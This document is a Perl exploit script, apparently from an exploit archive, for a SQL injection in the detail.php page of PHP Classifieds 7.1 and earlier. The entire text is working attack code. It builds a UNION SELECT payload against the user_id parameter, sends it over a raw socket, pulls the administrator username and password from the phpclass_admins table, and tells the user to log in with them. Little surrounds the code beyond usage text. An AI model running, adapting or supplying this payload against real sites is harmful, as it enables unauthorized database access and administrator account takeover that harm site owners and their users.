PHP Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit

                                                #!/usr/bin/perl
#[Script Name: Php Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  Php Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: class.pl victim.com / 1
[//                   Example: class.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$classifiedsserver = $ARGV[0];
$classifiedsserver =~ s/(http:\/\/)//eg;
$classifiedshost = "http://".$classifiedsserver;
$classifiedsport = "80";
$classifiedsdir = $ARGV[1];
$classifiedsfile = "detail.php?id=1009&contact=1&user_id=";
$classifiedsend = "member_login.php";
$classifiedstarget = "1%20union%20select%20concat(adm_name,char(32),adm_pass)%20from%20phpclass_admins%20where%20adm_id%20like%20".$ARGV[2];
$classifiedstarget = $classifiedshost.$classifiedsdir.$classifiedsfile.$classifiedstarget;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $classifiedsserver\n";
$classifieds = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$classifiedsserver", PeerPort => "$classifiedsport") || die "\n+ Connection failed...\n";
print $classifieds "GET $classifiedstarget\n";
print $classifieds "Host: $classifiedsserver\n";
print $classifieds "Accept: */*\n";
print $classifieds "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$classifieds>) {
if ($answer =~ /<b>(.*?)<\/b>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username and Password: $1\n";
print "+ Lets go $classifiedshost$classifiedsdir$classifiedsend and\n+ Login with this information. \n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";